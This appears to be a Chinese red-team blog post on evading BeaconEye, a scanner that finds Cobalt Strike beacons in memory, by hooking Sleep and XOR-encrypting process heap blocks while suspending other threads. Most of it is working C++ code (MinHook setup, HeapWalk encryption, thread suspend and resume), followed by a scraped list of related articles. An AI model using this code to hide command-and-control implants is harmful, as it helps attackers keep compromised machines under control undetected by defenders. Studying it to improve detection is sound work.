Bypass BeaconEye - Beacon 堆混淆
这是[信安成长计划]的第 9 篇文章
关注微信公众号[信安成长计划]

0x00 目录
0x01 CS4.5 Sleep_Mask
0x02 HeapEncrypt
0x03 效果
0x04 参考文章
在之前的文章《Bypass BeaconEye》中提过了两个 Bypass BeaconEye 的方法,都是通过打乱 C2Profile 结构来做的,还有另外一种方式就是在 Sleep 的时候加密堆内存,在 CS4.5 中也对 Sleep_Mask 进行了更新
0x01 CS4.5 Sleep_Mask
根据 **官网****[1] **的解释可以猜出一二

增加了 HEAP_PECORDS 结构体,根据名字猜测是用来记录堆内存的,所以大概率是记录了某一部分带特征的堆内存地址,然后在 Sleep 的时候将其进行混淆,用来躲过 BeaconEye 的检测,当然也有可能是将所有申请的堆内存都混淆
0x02 HeapEncrypt
按照对 Sleep 的分析《Beacon sleep_mask 分析》可以得知它是在加密和解密函数中间的,但是它只处理了当前 PE 结构,为了能够增加对堆的混淆,可以采用直接 HOOK Sleep 的方式,这样就可以完美的实现这个需求了
至于如何 HOOK 就看大家的偏好了,可以使用 IAT HOOK,在加载 Beacon 的时候直接将 Sleep 的函数替换掉,如果是在同一个进程中,也可以 HOOK 当前的 Sleep,因为在同一个进程空间中,使用的是同一份 Kernel32,这样在调用 Sleep 的时候就会走到我们所实现的 Sleep 当中
这里使用 MinHook 库来完成整个 HOOK 操作
if (MH_Initialize() != MH_OK) return 1;
if (MH_CreateHook(&Sleep, &DetourSleep, reinterpret_cast<LPVOID*>(&fpSleep)) != MH_OK) return 1;
if (MH_EnableHook(&Sleep) != MH_OK) return 1;
对于 Sleep 函数来说也是很简单了,直接模仿 Beacon 的操作来完成即可
VOID WINAPI DetourSleep(DWORD dwMilliseconds) {
EncryptHeap();
fpSleep(dwMilliseconds);
EncryptHeap();
}
而对于 EncryptHeap 来说,就是要找到所有的堆,然后将其混淆即可
VOID EncryptHeap() {
PROCESS_HEAP_ENTRY heapEntry = { 0 };
HANDLE hHeap = GetProcessHeap();
while (HeapWalk(hHeap, &heapEntry))
{
if (heapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY)
{
Xor((char*)heapEntry.lpData, heapEntry.cbData);
}
}
}
然后运行函数,结果却直接异常了

猜测可能是有其他的线程还在跑,使用了堆空间,所以并不能直接混淆所有堆内存,这可能也是 CS4.5 选择增加堆记录的原因之一
之后在 文章****[2]中看到了一句话,才解开了这个疑惑
An important note! Even if you think your program is single threaded, Windows appears to provide threads in the background that do garbage collection and other types of functions for utilities like RPC and WININET, if you don't suspend those threads they will crash your process as they try to reference encrypted allocations.
这也就证实了之前的猜想,在 Sleep 的时候还会有其他的线程在运行,所以得选择性的进行混淆,或者使用文章中所提到的方案:将所有的线程全部挂起
直接使用这篇文章所提供的 示例****[3]来做
所以我们的 Sleep 应该变成
VOID WINAPI DetourSleep(DWORD dwMilliseconds) {
DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
EncryptHeap();
fpSleep(dwMilliseconds);
EncryptHeap();
DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
对于挂起和恢复的函数,项目中都直接提供了
void DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
SuspendThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
ResumeThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
这样也就完成了整个功能的书写
0x03 效果
最后再来验证一下 Bypass 的效果

0x04 参考文章
[1] https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5/
[2] https://www.arashparsa.com/hook-heaps-and-live-free/
[3] https://github.com/waldo-irc/LockdExeDemo
Bypass BeaconEye - Beacon 堆混淆的更多相关文章
- CobaltStrike逆向学习系列(5):Bypass BeaconEye
这是[信安成长计划]的第 5 篇文章 关注微信公众号[信安成长计划] 0x00 目录 0x01 BeaconEye 检测原理 0x02 Bypass 1 0x03 Bypass 2 0x04 效果图 ...
- CobaltStrike逆向学习系列(11):自实现 Beacon 检测工具
这是[信安成长计划]的第 11 篇文章 关注微信公众号[信安成长计划] 0x00 目录 0x01 检测原理 0x02 检测方案 0x03 存在的问题 0x04 解决方案 0x05 示例代码 0x06 ...
- Java数据结构和算法 - 堆
堆的介绍 Q: 什么是堆? A: 这里的“堆”是指一种特殊的二叉树,不要和Java.C/C++等编程语言里的“堆”混淆,后者指的是程序员用new能得到的计算机内存的可用部分 A: 堆是有如下特点的二叉 ...
- Unity声音-音源组件
音源组件(AudioSource) 音源是场景中在某个位置的发声装置,好像一个喇叭.它播放着音频片段 (Audio Clip). 发出的声音将输出到声音监听器(audio listener),或者声音 ...
- 堪称最好的A*算法(转)
如此好贴,不能不转!原文地址:http://dev.gameres.com/Program/Abstract/Arithmetic/AmitAStar.mht 中文译文转自:http://blog.c ...
- A*算法学习(转)
A*启发式搜索算法详解 人工智能 1导言 1.1 算法 1.2 Dijkstra算法与最佳优先搜索 1.3 A*算法 2 启发式算法 2.1 A*对启发式函数的使用 2.2 速度还是精确度? 2.3 ...
- Cobaltstrike去除特征
出品|MS08067实验室(www.ms08067.com) 本文作者:BlackCat(Ms08067实验室内网小组成员) 前言: 红蓝对抗的时候,如果未修改CS特征.容易被蓝队溯源. 去特征的几种 ...
- Cobalt Strike特征隐藏
前言 首先红蓝对抗的时候,如果未修改CS特征.容易被蓝队溯源. 前段时间360公布了cobalt strike stage uri的特征,并且紧接着nmap扫描插件也发布了.虽说这个特征很早就被发现了 ...
- " XSS易容术---bypass之编码混淆篇+辅助脚本编写"
一.前言本文原创作者:vk,本文属i春秋原创奖励计划,未经许可禁止转载!很多人对于XSS的了解不深.一提起来就是:“哦,弹窗的”.”哦,偷cookie的.”骚年,你根本不知道什么是力量.虽然我也不知道 ...
随机推荐
- Java基础-JNI入门示例
1.JNI是什么? JNI(Java Native Interface) Java本地接口,又叫Java原生接口.它允许Java调用C/C++的代码,同时也允许在C/C++中调用Java的代码. 可以 ...
- 与Elasticsearch交互的客户端
1.访问ES的方式 访问es的方式有两种,一种是http方式,还有一种是java客户端方式. 其中Java客户端又分为:1.1.Node client: 节点客户端实际上是一个集群中的节点(但不保存数 ...
- P1518 [USACO2.4]两只塔姆沃斯牛 The Tamworth Two
// Problem: P1518 [USACO2.4]两只塔姆沃斯牛 The Tamworth Two // Contest: Luogu // URL: https://www.luogu.com ...
- a 标签一些特殊用法
发邮件 <a href="mailto:youemail@mail.com?subject=邮件标题&body=邮件内容">告诉我们</a> 打电话 ...
- React之react-router(connected-react-router/react-router-dom)
文档: react-router-dom官方文档:https://reacttraining.com/react-router/web/guides/quick-start connected-rea ...
- 做开源界的MATLAB,PyMiner 需要更多热爱开源的你加入
MATLAB 和 Mathematica.Maple 并称为三大数学软件.它在数学类科技应用软件中在数值计算方面首屈一指.MATLAB 可以进行矩阵运算.绘制函数和数据.实现算法.创建用户界面.连接其 ...
- 出现 error: RPC failed; curl 18 transfer closed with outstanding read data remaining 的原因
最近在做全栈项目,前台后台,服务器端,三端在一个文件夹,当git clone 项目的时候就会出现:error: RPC failed; curl 18 transfer closed with out ...
- WebSocket协议详解及应用
WebSocket协议详解及应用(七)-WebSocket协议关闭帧 本篇介绍WebSocket协议的关闭帧,包括客户端及服务器如何发送并处理关闭帧.关闭帧错误码及错误处理方法.本篇内容主要翻译自RF ...
- imagenamed和imageWithContentOfFile的区别
@implementation ViewController /** 图片的两种加载方式: 1> imageNamed: a. 就算指向它的指针被销毁,该资源也不会被从内存中干掉 b. 放到As ...
- 连接docker里面的mysql失败解决
场景:在虚拟机的docker容器中安装latest版本的mysql之后,在宿主机中使用navicat连接虚拟机中的mysql出现下图报错: 解决方法: 1.首先docker ps命令查看正在运行的容器 ...